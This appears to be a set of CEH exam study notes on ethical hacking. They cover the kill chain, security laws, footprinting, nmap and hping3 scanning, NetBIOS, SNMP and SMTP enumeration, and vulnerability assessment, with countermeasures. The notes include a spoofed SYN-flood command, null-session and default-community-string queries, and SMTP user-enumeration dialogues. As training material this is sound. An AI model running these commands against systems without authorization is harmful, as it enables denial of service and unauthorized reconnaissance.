CEH Notes

A. What is cybersecurity? - Per Dr. Mansur Hasib “Cybersecurity is the mission-focused and risk-optimized governance of information, which maximizes confidentiality, integrity, and availability using a balanced mix of people, policy, and technology, while perennially improving over time.”
B. CIA Triad - confidentiality, integrity, availability
C. Defense in depth
D. IAM (Identity and Access Management) - The right people/systems can access the right information at the right time. - RBAC, SSO, MFA, PAM
E. DLP (Data Loss Prevention)

Information Security Threats and Attacks

A. Attack = Motive (usually financial) + Method + Vulnerability
B. Common motives include data theft, disrupting business operations (continuity), data manipulation/deletion, creating fear/panic by disrupting critical infrastructure, religious or political beliefs, brand/reputation damage, Nation State objectives, and revenge.
C. Common attack vectors - Cloud attacks, APT, malware (viruses, worms, Trojans, ransomware, etc), mobile device threats, botnets, and insider threats.
D. InfoSec Threat Categories -
E. Network Threats - information gathering, sniffing/eavesdropping, spoofing, session hijacking and MitM attacks, DNS and ARP poisoning, password attacks, DoS/DDoS, compromised credentials/key, and firewall/IDS/IPS attacks.
F. Host Threats- malware attacks, footprinting, password attacks, DoS/DDoS, arbitrary code execution, unauthorized access, privilege escalation, backdoor attacks, and physical security threats.
G. Application Threats- improper data/input validation, authentication/authorization attacks, security misconfiguration, information disclosure, broken session management, buffer overflow attack, SQL injection, XSS (cross-site scripting), and improper error handling/exception management.

Introduction to Ethical Hacking

A. What is ethical hacking? - Ethical Hacking involves the use of hacking tools, techniques, and tricks, with permission, to identify vulnerabilities in systems before they can be exploited by adversaries. Ethical Hackers are commonly called Penetration Testers (Pentesters) in the industry.

B. Pentesting differs from a vulnerability assessment because in a pentest, you are actually proving the vulnerability can be exploited by an adversary.
C. Types of hackers - Black Hat, Grey Hat, White Hat, Hacktivist, Script Kiddie.
D. Phases of Hacking - Reconnaissance, Scanning, Gaining Access, Maintaining Access, Covering Tracks.
E. Black box testing - In this type of testing, the pentester is not given any access to internal information and is also not provided access to the client's internal applications or network. This type of testing simulates what a real external adversary would do; however, it is performed in a limited period of time and real adversaries can take months or years to assess their target. This means that the pentester might miss some vulnerabilities that can be exploited.
F. Gray box testing- Typically, this type of testing grants the pentester some type of internal access or knowledge. This could be low-level login credentials, application logic flowcharts, or maps of the network infrastructure. This type of testing simulates an attacker that has breached the network perimeter and has some type of internal access to the network.
G. White box testing- In this type of test, the pentester has open access to applications and systems, including the ability to view source code and have high-level privilege accounts. This is a more comprehensive type of pentest that analyzes both internal and external vulnerabilities from a viewpoint that a typical attacker will not have.

Introduction to the Cyber Kill Chain

A. Lockheed Martin Cyber Kill Chain- We will focus on the Adversary side of the Kill Chain for this course.
B. Reconnaissance - gaining information on the target - harvest email addresses, IP addresses, host/network information, vulnerability identification, identify employees on social media, press releases, contracts awarded, discover Internet-facing servers.
C. Weaponization- attackers obtain a "weaponizer" (tool that couples malware and an exploit into a deliverable payload) from public/private channels or build in-house. For file-based exploits, that attacker selects the appropriate decoy document for the victim. The attacker then selects the backdoor implant and the appropriate command and control infrastructure for the operation. The attacker then designates a specific "mission ID" and embeds it in the malware. The backdoor is then compiled and the payload is weaponized.
D. Delivery- adversaries have launched the malware to the target. Adversary Controlled Delivery (direct against web servers). Adversary Released Delivery (malicious email, malware on USB stick, social media interactions, watering hole attack with compromised websites).
E. Exploitation- Attackers must exploit a vulnerability to gain access/Zero-Day exploits. Software, hardware, or human vulnerability. Attacker acquires or develops a Zero-day exploit. The adversary triggered exploits

for server-based vulnerabilities. The victim then triggers the exploit (opening malicious email attachment, clicking malicious link).

F. Installation- Attacker wants to maintain access, so they typically install a backdoor at this stage. (Installs webshell on web server, installs backdoor/implant on client system, creates a point of persistence by adding services/Autorun keys, time stomp of the file to make the malware appear as if it is part of the operating system install).
G. Command & Control (C2)- The malware opens a channel of communication, so the attacker can manipulate the victim remotely. Two way communication channels are opened with C2 infrastructure, usually over the Web, DNS, and/or email protocols.
H. Actions on Objectives- Attackers now have "hands on keyboard" and move forward with their objective. This may include collecting user credentials, privilege escalation, internal reconnaissance, lateral movement through the victim's environment, collecting/exfiltrating other data, destroying systems, overwriting, corrupting, or otherwise modifying data.

Introduction to Security Controls

A. Physical controls - premises and surroundings, reception area, server/workstation area, other equipment, access control, computer equipment maintenance, wiretapping, environmental control.

Premises and Surroundings - fences/gates/walls, security guards, alarms, CCTV cameras, alarm system, door/window locks.

Reception Area - lock away important files/documents/equipment

Server/Workstation Area - lock when not in use, disable access to removable media, use CCTV cameras

Other Equipment - lock when not in use, physically destroy corrupted removable media

Access Control - implement Biometric access controls, man traps, ID badges, keycards, sign-in procedures, separate work areas

Computer Equipment Maintenance- Designate who will be responsible for maintenance on equipment.

Wiretapping - inspect all data wires on a routine basis and never leave wire exposed

Environmental Control - fire suppression, humidity and A/C control

A. Logical Controls - network segmentation, user permissions, MFA, firewalls

Introduction to Security Laws and Standards

A. PCI DSS - The Payment Card Industry Data Security Standard applies to all entities involved in payment card processing and sets minimum security requirements. Some of the common requirements are organizations must build and maintain a secure network, protect

cardholder data, maintain a vulnerability management program, implement strong access control measures, regularly monitor and test networks, and maintain an information security policy.

B. ISO 27001 - This specifies the requirements for establishing, implementing, and maintaining an information security management system. ISO 27001 is the management control and you can get certified against it. It defines the controls. ISO 27002 helps you implement the controls.
C. HIPAA - The Health Insurance Portability and Accountability Act is a healthcare law designed to protect patient's PHI and PII. The Security Rule specifies requirements to protect electronic PHI (ePHI) and requires organizations to implement Administrative, Technical, and Physical SafeGuards. The HIPAA Privacy Rule outlines that only those with a legitimate need to know can access PHI and only for needed purposes.
D. Sarbanes Oxley Act (SOX) - The IT control requirements around security auditing are of interest. SOX itself is designed to protect investors from fraudulent accounting activity.
E. DMCA - The Digital Millennium Copyright Act helps owners protect their copyrighted work.
F. FISMA - The Federal Information Security Management Act requires Federal agencies to implement information security plans to protect sensitive data.
G. CCPA - The California Consumer Privacy Act enhances privacy rights and consumer protection for residents of California. It applies to businesses that meet at least one of the following:

Annual gross revenue of $25M or more

Buys, Receives, or Sells the personal information of 50,000 or more consumers or households

Earns more than half of its annual revenue from selling consumers' information

A. GDPR- Covers the personal data of individuals living in the EU and requires organizations to get explicit permission from the individuals to capture their data. Fines for violations can start at $20M Euros.

Introduction to Footprinting

Footprinting is just the process of collecting information on the target.

- **Know Security Posture**: Footprinting allows attackers to know the external security posture of the target organization.
- **Reduce Focus Area**: It reduces the attacker's focus area to specific range of IP address, networks, domain names, remote access, etc.
- **Identify Vulnerabilities**: It allows attackers to identify vulnerabilities in the target systems in order to select appropriate exploits.

- **Draw Network Map**: It allows attackers to draw a map or outline the target organization's network infrastructure to know about the actual environment that they are going to break.

What is the objective of Footprinting?

- **Collect Network Information**:
  - Domain name
  - Internal domain names
  - Network blocks
  - IP addresses of the reachable systems
  - Rogue websites/private websites
  - TCP and UDP services running
  - Access control Mechanisms and ACL's
  - Networking protocols
  - VPN Points
  - IDSes running
  - Analog/digital telephone numbers
  - Authentication mechanisms
  - System Enumeration
- **Collect System Information**:
  - User and group names
  - System banners
  - Routing tables
  - SNMP information
  - System architecture
  - Remote system type
  - System names
  - Passwords
- **Collect Organization's Information**:
  - Employee details
  - Organization's website
  - Company directory
  - Location details
  - Address and phone numbers
  - Comments in HTML source code
  - Security policies implemented
  - Web server links relevant to the organization
  - Background of the organization
  - News articles
  - Press releases

Website Footprinting

- Website Footprinting refers to monitoring and analyzing the target organization's website for information.
- **Browsing the target website may provide**:
    - Software used and its version
    - Operating system used
    - Sub-directories and parameters
    - Filename, path, database field name, or query
    - Scripting platform
    - Contact details and CMS details
- **Use Burp Suite, Zaproxy, Paros Proxy, Website Informer, Firebug, etc. to view headers that provide**:
    - Connection status and content-type
    - Accept-Ranges
    - Last-Modified information
    - X-Powered-By information
    - Web server in use and its version
- **Examining HTML source provide**:
    - Comments in the source code
    - Contact details of web developer or admin
    - File system structure
    - Script type
- **Examining cookies may provide**:
    - Software in use and its behavior
    - Scripting platforms used

Website Footprinting using Web Spiders

- Web spiders perform automated searches on the target websites and collect specific information such as employee names, email addresses, etc.
- Attackers use the collected information to perform further footprinting and social engineering attacks.
- GSA Email Spider: http://email.spider.gsa-online.de
- Web Data Extractor: http://webextractor.com

Mirroring Entire Website

- Mirroring an entire website onto the local system enables an attacker to browse websites offline; it also assists in finding directory structure and other valuable information from the mirrored copy without multiple requests to the web server.
- Web mirroring tools allow you to download a website to a local directory, building recursively all directories, HTML, images, flash, videos, and other files from the server to your computer.
- wget -m
- HTTrack Web Site Copier: http://www.httrack.com
- SurfOffline: http://www.surfoffline.com

Website Mirroring Tools

Extract Website Information from http://www.archive.org

- Internet Archive's Wayback Machine allows you to visit archived versions of websites.

google cache:

Monitoring Web Updates Using Website-Watcher

- Website-Watcher automatically checks web pages for updates and changes.

DNS Footprinting

- DNS footprinting is Collecting information about DNS zone data
- Attackers can gather DNS information to determine key hosts in the network and can perform social engineering attacks.
- DNS records provide important information about location and type of servers.
- DNS Interrogation Tools:
    - http://www.dnsstuff.com
    - http://network-tools.com
- Name -> IP
- IP -> Name
- Service -> Name

Record	Description
A	Maps host name to an IP address
MX	Points to domain's mail server
NS	Points to host's name server
CNAME	Canonical naming allows aliases to a host
SDA	Indicate authority for domain
SRV	Service records
PTR (pointer)	Maps IP address to a hostname
RP	Responsible person
HINFO	Host information record includes CPU type and OS
TXT	Unstructured text records

WHOIS query returns:

- Domain name details
- Contact details of domain owner
- Domain name servers
- NetRange
- When a domain has been created
- Expiry records
- Records last updated

Information obtained from WHOIS database assists an attacker to: Gather personal information to perform social engineering attacks.

Footprinting Countermeasures

- Restrict the employees to access social networking sites from organization's network
- Configure web servers to avoid information leakage
- Educate employees to use pseudonyms on blogs, groups, and forums
- Do not reveal critical information in press releases, annual reports, product catalogues, etc.
- Limit the amount of information that you are publishing on the website/Internet
- Use footprinting techniques to discover and remove any sensitive information publicly available
- Prevent search engines from caching a web page and use anonymous registration services
- Enforce security policies to regulate the information that employees can reveal to third parties
- Set apart internal and external DNS or use split DNS, and restrict zone transfer to authorized servers
- Disable directory listings in the web servers
- Educate employees about various social engineering tricks and risks
- Opt for privacy services on Whois Lookup database
- Avoid domain-level cross-linking for the critical assets
- Encrypt and password protect sensitive information

Introduction to Network Scanning and tools

Ping

- Ping is used to determine the live hosts from a range of IP addresses by sending ICMP ECHO requests to multiple hosts. If a host is live, it will return an ICMP ECHO reply.
- Attackers calculate subnet masks using Subnet Mask Calculators to identify the number of hosts present in the subnet.
- Attackers then use ping sweep to create an inventory of live systems in the subnet.

Type	Name	
0	Echo Reply	
3	Destination Unreachable	
8	Echo	
11	Time Exceeded for a Datagram	

ICMP Type 3 (Destination Unreachable) (code) :

- 0: Network Unreachable
- 1: Host Unreachable
- 2: Protocol Unreachable
- 3: Port Unreachable
- 9: Communication with Destination Network is Administratively Prohibited
- 10: Communication with Destination Host is Administratively Prohibited
- 13: Communication Administratively Prohibited (blocked)

Type 11 code:

- 0: Time to Live exceeded in Transit
- 1: Fragment Reassembly Time Exceeded

Ping Sweep Tools

- Angry IP Scanner pings each IP address to check if it's alive, then optionally resolves its hostname, determines the MAC address, scans ports, etc.
- SolarWinds Engineer Toolset's Ping Sweep enables scanning a range of IP addresses to identify which IP addresses are in use and which ones are currently free. It also performs reverse DNS lookup.

Hping3

- Command line network scanning and packet crafting tool for the TCP/IP protocol.
- It can be used for network security auditing, firewall testing, manual path MTU discovery, advanced traceroute, remote OS fingerprinting, remote uptime guessing, TCP/IP stacks auditing, etc..
- TCP Mode
- `hping3 --icmp 8.8.8.8 -a 1.3.3.7`

Common Hping Commands

- **ICMP Ping**: `hping3 -1 10.0.0.25`
- **ACK scan on port 80**: `hping3 -A 10.0.0.25 -p 80`
- **UDP scan on port 80**: `hping3 -2 10.0.0.25 -p 80`
- **Collecting Initial Sequence Number**: `hping3 192.168.1.103 -Q -p 139 -s`
- **Firewalls and Time Stamps**: `hping3 -S 72.14.207.99 -p 80 --tcp-timestamp`
- **SYN scan on port 50-60**: `hping3 -8 50-60 -S 10.0.0.25 -V`
- **FIN, PUSH and URG scan on port 80**: `hping3 -F -P -U 10.0.0.25 -p 80`
- **Scan entire subnet for live host**: `hping3 -1 10.0.1.x --rand-dest -I eth0`
- **Intercept all traffic containing HTTP signature**: `hping3 -9 HTTP -I eth0`
- **SYN flooding a victim**: `hping3 -S 192.168.1.1 -a 192.168.1.254 -p 22 --flood`

Scanning Tool: **Nmap**

- Network administrators can use Nmap for network inventory, managing service upgrade schedules, and monitoring host or service uptime.
- Attackers use Nmap to extract information such as live hosts on the network, services (application name and version), type of packet filters/firewalls, operating systems and OS versions.

- **Scanning TCP Network Services**:
    - Open TCP Scanning Methods
        - TCP Connect / Full Open Scan

- Stealth TCP Scanning Methods
  - Half-open Scan
  - Inverse TCP Flag Scanning
    - Xmas Scan
    - FIN Scan
    - NULL Scan
  - ACK Flag Probe Scanning
- Third Party and Spoofed TCP Scanning Methods
  - IDLE / IP ID Header Scanning

- TCP Connect scan detects when a port is open by completing the three-way handshake.
- TCP Connect scan establishes a full connection and tears it down by sending a RST packet.
- It does not require superuser privileges.
- Default 1000 ports are scanned
- Wireshark Capture filter display filter

<u>NMAP Flags to know:</u>

-O = OS detection flag

-Pn = port scan only

TCP Connect / Full Open Scan (-sT)

Stealth Scan (Half-open Scan) (-sS)

- Stealth scan involves resetting the TCP connection between client and server abruptly before completion of three-way handshake signals making the connection half open.
- Attackers use stealth scanning techniques to bypass firewall rules, logging mechanisms, and hide themselves as usual network traffic.
- Stealth Scan Process:

1. The client sends a single SYN packet to the server on the appropriate port.
2. If the port is open then the server responds with a SYN/ACK packet.
3. If the server responds with an RST packet, then the remote port is in the "closed" state.
4. The client sends the RST packet to close the initiation before a connection can ever be established.

- Firewall -> Packet Filtering -> Connection logging -> Connected

1.

Inverse TCP Flag Scanning (-sF, -sN)

- Attackers send TCP probe packets with a TCP flag (FIN, URG, PSH) set or with no flags, no response means port is open and RST means the port is closed. Note: Inverse TCP flag scanning is known as FIN, URG, PSH scanning based on the flag set in the probe packet. It is known as null scanning if there is no flag set.

Xmas Scan (-sX)

- In Xmas scan, attackers send a TCP frame to a remote device with FIN, URG, and PUSH flags set.
- FIN scan works only with OSes with RFC 793-based TCP/IP implementation.
- It will not work against any current version of Microsoft Windows.

ACK Flag Probe Scanning (-sA)

- Attackers send TCP probe packets with ACK flag set to a remote device and then analyze the header information (TTL and WINDOW field) of received RST packets to find whether the port is open or closed.
- **TTL based ACK flag probe scanning**:
    - If the TTL value of an RST packet on a particular port is less than the boundary value of 64, then that port is open.
- **WINDOW based ACK flag probe scanning**:
    - If the WINDOW value of an RST packet on a particular port has non zero value, then that port is open.
- ACK flag probe scanning can also be used to check the filtering system of the target.
- Attackers send an ACK probe packet with random sequence number, no response means port is filtered (stateful firewall is present) and RST response means the port is not filtered.

IDLE/IPID Header Scan (-sI)

- Most network servers listen on TCP ports, such as web servers on port 80 and mail servers on port 25. Port is considered "open" if an application is listening on the port.
- One way to determine whether a port is open is to send a "SYN" (session establishment) packet to the port.
- The target machine will send back a "SYN|ACK" (session request acknowledgement) packet if the port is open, and an "RST" (Reset) packet if the port is closed.
- A machine that receives an unsolicited SYN|ACK packet will respond with an RST. An unsolicited RST will be ignored.
- Every IP packet on the Internet has a "fragment identification" number (IPID).
- OS increments the IPID for each packet sent, thus probing the IPID gives an attacker the number of packets sent since the last probe.

IDLE Scan

Step 1:

- Send SYN+ACK packet to the zombie machine to probe its IPID number.
- Every IP packet on the Internet has a fragment identification number (IPID), which increases every time a host sends an IP packet.
- The zombie machine, not expecting a SYN+ACK packet, will send an RST packet, disclosing the IPID.
- Analyze the RST packet from the zombie machine to extract IPID.

Step 2:

- Send SYN packet to the target machine (port 80) spoofing the IP address of the "zombie".
- If the port is open, the target will send SYN+ACK Packet to the zombie and in response the zombie sends RST to the target.
- If the port is closed, the target will send RST to the "zombie" but the zombie will not send anything back.

Step 3:

- Probe "zombie" IPID again

UDP Scanning (-sU)

- **UDP Port Open**:
  - There is no three-way TCP handshake</**span> for UDP scan
  - The system does not respond with a message when the port is open.
- **UDP Port Closed**:
  - If a UDP packet is sent to a closed port, the system responds with an ICMP port unreachable message (type 3, code 3).
  - Spywares, Trojan horses, and other malicious applications use UDP ports.

ICMP Echo Scanning (-sn/-sP)/List Scan (-sL)

- **ICMP Echo Scanning**:
  - This is not really port scanning, since ICMP does not have a port abstraction.
  - But it is sometimes useful to determine which hosts in a network are up by pinging them all.
  - `nmap -sn cert.org/24 152.148.0.0/16`
- **List Scan**:
  - This type of scan simply generates and prints a list of IPs/Names without actually pinging them.
  - A reverse DNS resolution is carried out to identify the host names.

Port Scanning Countermeasures

Port Scanning Countermeasures

Configure firewall and IDS rules to detect and block probes.

- Run the port scanning tools against hosts on the network to determine whether the firewall properly detects the port scanning activity.
- Ensure that mechanisms used for routing and filtering at the routers and firewalls respectively cannot be bypassed using particular source ports or source-routing methods.
- Ensure that the router, IDS, and firewall firmware are updated to their latest releases.
- Use a custom rule set to lock down the network and block unwanted ports at the firewall.
- Filter all ICMP messages (i.e. inbound ICMP message types and outbound ICMP type 3 unreachable messages) at the firewalls and routers.
- Perform TCP and UDP scanning along with ICMP probes against your organization's IP address space to check the network configuration and its available ports.
- Ensure that the anti scanning and anti spoofing rules are configured.

Introduction to Enumeration

What is Enumeration?

- In the enumeration phase, the attacker creates active connections to the system and performs directed queries to gain more information about the target.
- Attackers use extracted information to identify system attack points and perform password attacks to gain unauthorized access to information system resources.
- Enumeration techniques are conducted in an intranet environment.
- **Information Enumerated by Intruders**:
    - Network resources
    - Network shares
    - Routing tables
    - Audit and service settings
    - SNMP and DNS details
    - Machine names
    - Users and groups
    - Applications and banners

Techniques for Enumeration

- Extract user names using email IDs
- Extract information using the default passwords
- Extract user names using SNMP
- Brute force Active Directory
- Extract user groups from Windows
- Extract information using DNS Zone Transfer

Services and Ports to Enumerate

- **TCP/UDP 53**: DNS Zone Transfer
- **TCP/UDP 135**: Microsoft RPC Endpoint Mapper
- **UDP 137**: NetBIOS Name Service (NBNS)
- **TCP 139**: NetBIOS Session Service (SMB over NetBIOS)
- **TCP/UDP 445**: SMB over TCP (Direct Host)
- **UDP 161**: Simple Network Management Protocol (SNMP)
- **TCP/UDP 389**: Lightweight Directory Access Protocol (LDAP)
- **TCP/UDP 3268**: Global Catalog Service
- **TCP 25**: Simple Mail Transfer Protocol (SMTP)
- **TCP/UDP 162**: SNMP Trap

NetBIOS Enumeration

- NetBIOS name is a unique 16 ASCII character string used to identify the network devices over TCP/IP, 15 characters are used for the device name and 16th character is reserved for the service or name record type.
- **Attackers use the NetBIOS enumeration to obtain**:
    - List of computers that belong to a domain
    - List of shares on the individual hosts in the network
    - Policies and passwords
- `net view /domain`
- `net view /domain:name`
- `net view \\FIRE`
- `net use \\FIRE "password" /u:"name"`
- Null Session: `net use \\FIRE "" /u:""`

Note: NetBIOS name resolution is not supported by Microsoft for Internet Protocol Version 6 (IPv6)

- Nbtstat utility in Windows displays NetBIOS over TCP/IP (NetBT) protocol statistics, NetBIOS name tables for both the local and remote computers, and the NetBIOS name cache.
    - Run nbtstat command `nbtstat.exe -c` to get the contents of the NetBIOS name cache, the table of NetBIOS names, and their resolved IP addresses.
    - Run nbtstat command `nbtstat.exe -a <IP address of the remote machine>` to get the NetBIOS name table of a remote computer.

NetBIOS Enumeration Tools:

- **SuperScan**:
    - SuperScan is a connect-based TCP port scanner, pinger, and hostname resolver.
- **Hyena**:
    - Hyena is a GUI product for managing and securing Microsoft operating systems. It shows shares and user logon names for Windows servers and domain controllers.
    - It displays graphical representation of Microsoft Terminal Services, Microsoft Windows Network, Web Client Network, etc.
- **Winfingerprint**:
    - Winfingerprint determines OS, enumerate users, groups, shares, SIDs, transports, sessions, services, service pack and hotfix level, date and time, disks, and open TCP and UDP ports.
- **NetBIOS Enumerator**
- **Nsauditor Network Security Auditor**

Enumerating Shared Resources Using Net View

- Net View utility is used to obtain a list of all the shared resources of remote hosts or workgroups.
- **Net View Commands**:
    - `net view \\<computername>`
    - `net view /workgroup:<workgroupname>`

SNMP (Simple Network Management Protocol) Enumeration

- SNMP enumeration is a process of enumerating user accounts and devices on a target system using SNMP.
- SNMP consists of a manager and an agent; agents are embedded on every network device, and the manager is installed on a separate computer.
- SNMP holds two passwords to access and configure the SNMP agent from the management station:
    - **Read community string**: It is public by default; allows viewing of device/system configuration.
    - **Read/write community string**: It is private by default; allows remote editing of configuration.
- Attackers use these default community strings to extract information about a device.
- Attackers enumerate SNMP to extract information about network resources such as hosts, routers, devices, shares, etc. and network information such as ARP tables, routing tables, traffic, etc.
- snmpwalk: `snmpwalk -v 1 -c public 192.168.99.144`
- snmpcheck: `snmpcheck -t 192.168.99.144`

SNMP Enumeration Tools:

- **OpUtils**: OpUtils with its integrated set of tools helps network engineers to monitor, diagnose, and troubleshoot their IT resources.
- **Engineer's Toolset**:
    - Engineer's Toolset performs network discovery on a single subnet or a range of subnets using ICMP and SNMP.
    - It scans a single IP, IP address range, or subnet and displays network devices discovered in real time.

LDAP Enumeration

- Lightweight Directory Access Protocol (LDAP) is an Internet protocol for accessing distributed directory services.
- Directory services may provide any organized set of records, often in a hierarchical and logical structure, such as a corporate email directory.
- A client starts an LDAP session by connecting to a Directory System Agent (DSA) on TCP port 389 and sends an operation request to the DSA.
- Information is transmitted between the client and the server using Basic Encoding Rules (BER).
- Attacker queries LDAP service to gather information such as valid user names, addresses, departmental details, etc. that can be further used to perform attacks

NTP Enumeration

- Network Time Protocol (NTP) is designed to synchronize clocks of networked computers.
- It uses UDP port 123 as its primary means of communication.
- NTP can maintain time to within 10 milliseconds (1/100 seconds) over the public Internet.
- It can achieve accuracies of 200 microseconds or better in local area networks under ideal conditions.
- Attacker queries NTP server to gather valuable information such as:
    - List of hosts connected to NTP server
    - Clients IP addresses in a network, their system names and OSs
    - Internal IPs can also be obtained if NTP server is in the DMZ

NTP Enumeration Commands

- **ntptrace**:
    - Traces a chain of NTP servers back to the primary source
    - ntptrace [-vdn] [-r retries] [-t timeout] [server]
- **ntpdc**:
    - Monitors operation of the NTP daemon, ntpd
    - /usr/bin/ntpdc [-n] [-v] host1 | IPaddress1...
- **ntpq**:
    - Monitors NTP daemon ntpd operations and determines performance

- ntpq [-inp] [-c command] [host] [...]

SMTP Enumeration

- SMTP provides 3 built-in-commands:
  - VRFY: Validates users
  - EXPN: Tells the actual delivery addresses of aliases and mailing lists
  - RCPT TO: Defines the recipients of the message
- SMTP servers respond differently to VRFY, EXPN, and RCPT TO commands for valid and invalid users from which we can determine valid users on SMTP server.
- Attackers can directly interact with SMTP via the telnet prompt and collect a list of valid users on the SMTP server.

Using the SMTP VRFY command:

```
$ telnet 192.168.168.1 25
...
VRFY Jonathan
250 Super-User
<Jonathan@NYmailserver>
VRFY Smith
550 Smith... User unknown
```

Using the SMTP EXPN command:

```
$ telnet 192.168.168.1 25
...
EXPN Jonathan
250 Super-User
<Jonathan@NYmailserver>
EXPN Smith
550 Smith... User unknown
```

Using the SMTP RCPT TO command:

```
$ telnet 192.168.168.1 25
...
MAIL FROM:Jonathan
```

250 Jonathan... Sender ok
RCPT TO:Ryder
250 Ryder... Recipient ok
RCPT TO: Smith
550 Smith... User unknown

SMTP Enumeration Tool: NetScanTools Pro

- NetScanTools Pro's SMTP Email Generator and Email Relay Testing Tools are designed for testing the process of sending an email message through an SMTP server and performing relay tests by communicating with a SMTP server.

SMTP Enumeration Tools

- **Telnet**:
  - Telnet can be used to probe an SMTP server using VRFY, EXPN and RCPT TO parameters and enumerate users.
- **smtp-user-enum**:
  - It is a tool for enumerating OS-level user accounts on Solaris via the SMTP service (sendmail)
  - Enumeration is performed by inspecting the responses to VRFY, EXPN and RCPT TO commands

DNS Zone Transfer Enumeration Using NSlookup

- It is a process of locating the DNS server and the records of a target network.
- An attacker can gather valuable network information such as DNS server names, hostnames, machine names, user names, IP addresses, etc. of the potential targets.
- In a DNS zone transfer enumeration, an attacker tries to retrieve a copy of the entire zone file for a domain from the DNS server.

Enumeration Countermeasures

- **SNMP**:
  - Remove the SNMP agent or turn off the SNMP service
  - If shutting off SNMP is not an option, then change the default community string name
  - Upgrade to SNMP3, which encrypts passwords and messages
  - Implement the Group Policy security option called "Additional restrictions for anonymous connections"
  - Ensure that the access to null session pipes, null session shares, and IPSec filtering is restricted.
- **DNS**:
  - Disable the DNS zone transfers to the untrusted hosts
  - Make sure that the private hosts and their IP addresses are not published into DNS zone files of public DNS server
  - Use premium DNS registration services that hide sensitive information such as HINFO from public
  - Use standard network admin contacts for DNS registrations in order to avoid social engineering attacks
- **SMTP**: Configure SMTP servers to:
  - Ignore email messages to unknown recipients
  - Not include sensitive mail server and local host information in mail responses
  - Disable open relay feature
- **LDAP**:
  - By default, LDAP traffic is transmitted unsecured; use SSL technology to encrypt the traffic
  - Select a user name different from your email address and enable account lockout
- **SMB**:
  - Disable SMB protocol on Web and DNS Servers
  - Disable SMB protocol on Internet facing servers
  - Disable ports TCP 139 and TCP 445 used by the SMB protocol
  - Restrict anonymous access through RestrictNullSessAccess parameter from the Windows Registry

Introduction to Vulnerabilities

Vulnerability research -The process of discovering vulnerabilities and design flaws that will open an OS or its applications to attack or misuse.

Classified by severity level - low, medium, high

What does vulnerability research do for you?

- Gather info on security trends, threats, and attacks
- Identify weaknesses before they can be exploited

Vulnerability Classification

1. Misconfigurations
2. Default Installations
3. Buffer Overflows
4. Unpatched Servers
5. Design Flaws
6. OS flaws
7. Application flaws
8. Open Services
9. Default Passwords

What is a vulnerability assessment? - the examination of a system or application, including current security procedures and controls, in its ability to withstand an attack.

- Identify weaknesses that may be exploited
- Helps you predict the effectiveness of additional security measures in protecting against attack.

Information obtained from vulnerability scans includes:

- Network vulnerabilities
- Open ports and services running
- Application and services vulnerabilities
- Application and services configuration errors

Type of vulnerability assessments

- Active Assessment - uses a network scanner to locate hosts, services, and vulnerabilities
- Passive Assessment - used to sniff the network traffic to locate active systems, network services, applications, and any vulnerabilities present.
- External Assessment - assesses the network from the attacker's viewpoint to identify vulnerabilities/exploits visible to the outside world
- Internal Assessment - scans internal infrastructure to identify vulnerabilities and exploits
- Host-Based Assessment - performs a configuration-level check through the command line to identify vulnerabilities on a specific workstation or server
- Network Assessment - determines possible attacks on the network
- Application Assessment - identifying any misconfigurations and/or known vulnerabilities on the web infrastructure
- Wireless Network Assessment - identify vulnerabilities in the organization's wireless network

Vulnerability Management Lifecycle

1. Creating a baseline
2. Vulnerability assessment
3. Risk assessment
4. Remediation
5. Verification
6. Monitor

Phases

Pre-assessment Phase (creating a baseline)

1. Identify and understand the business processes
2. Identify the applications, data, and services that support the business processes
3. Create an inventory of all assets and prioritize/rank the critical assets
4. Map the network infrastructure
5. Identify the controls already in place
6. Understand policy implementation and standards compliance the business processes
7. Define the scope of the assessment
8. Create information protection procedures to support effective planning, scheduling, coordination, and logistics

Vulnerability Assessment Phase

1. Examine and evaluate physical security
2. Check for misconfigurations and human errors
3. Run vulnerability scans using tools
4. Identify and prioritize vulnerabilities
5. Apply business and technology context to scanner results
6. Perform OSINT information gathering to validate the vulnerabilities
7. Create vulnerability scan report

Post-assessment Phase

1. Risk assessment - perform risk characterization, assess the level of impact, determine the threat and risk level
2. Remediation - prioritize recommendations, develop an action plan to implement the recommendation, perform root-cause analysis, apply patches/fixes, capture lessons learned, conduct awareness training
3. Verification - perform dynamic analysis, attack surface review
4. Monitoring - IDS/IPS logs, implementation of policies, procedures, and controls

Product-based vs Service-based Assessment Solutions

Product-based

- Installed in the organization’s internal network

- Installed in private or non-routable space, or the Internet-addressable part of an organization's network
- Downside is it cannot always detect outside attacks, since it's behind the firewall

Service-based
- 3rd party
- Inside and outside the network
- Downside is attackers can audit the network from the outside

Tree-based vs Inference-based Assessments

Tree-based
- Scanning starts by the auditor selecting different strategies for each machine or component of the information system
- Example - administrator selects a scanner for servers running Windows, databases, and web services but uses a separate scanner for Linux services
- This approach relies on the administrator to provide the starting injection of intelligence and then to start scanning continuously without incorporating any of the information found at the time of scanning

Inference-based
- Scanning starts by building an inventory of protocols found on the machine
- After determining the protocols, the scanning process detects the ports attached to services such as an email server, web server, or database server
- After locating the services, the scanning selects vulnerabilities on each machine and starts to execute only those relevant tests

Types of Vulnerability Assessment Tools
- Host-based - identifies the OS running and tests it for known vulnerabilities, also searches for common applications/services in use and tests for vulnerabilities
- Depth assessment tools - these tools find previously unknown vulnerabilities in a system. Fuzzers fall into this category.
- Application-layer - directed toward web servers and/or databases
- Scope assessment tools - test for vulnerabilities in the applications and OS
- Active assessment tools - perform scans but consume network resources
- Passive assessment tools - do not affect system resources considerably - they only observe system data and perform data processing on a separate analysis machine
- Location/Data examination tools - network-based scanner, agent-based scanner, proxy scanner, cluster scanner

Criteria for Choosing a Vulnerability Assessment Tool
- Types of vulnerabilities being assessed
- Testing capability of the scanner
- Ability to provide accurate reports

- Efficiency and accuracy of scan
- Capability to perform a smart search
- Functionality for writing your own tests
- Ability to schedule a test run

CVSS (common vulnerability scoring system) - provides an open framework for communicating the characteristics and impact of IT vulnerabilities. It's a quantitative model that ensures repeatable, accurate measurement while enabling users to see the underlying vulnerability characteristics that were used to generate the score.

Severity	Base Score Range
None	0.0
Low	0.1-3.9
Medium	4.0 - 6.9
High	7.0 - 8.9
Critical	9.0 - 10.0

CVE (common vulnerabilities and exposures) from MITRE
-free to use dictionary of standardized identifiers for common software vulnerabilities and exposures

NVD (National Vulnerability Database) - the U.S. government repository of standards based vulnerability management data represented using the Security COntent Automation Protocol (SCAP). This data enables automation of vulnerability management, security measurement, and compliance. The NVD includes databases of security checklist references, security related software flaws, misconfigurations, product names, and impact metrics.

Vulnerability Assessment Tools

- Qualys
- Nessus
- GFI LanGuard
- Nikto
- OpenVAS
- Retina CS
- SAINT
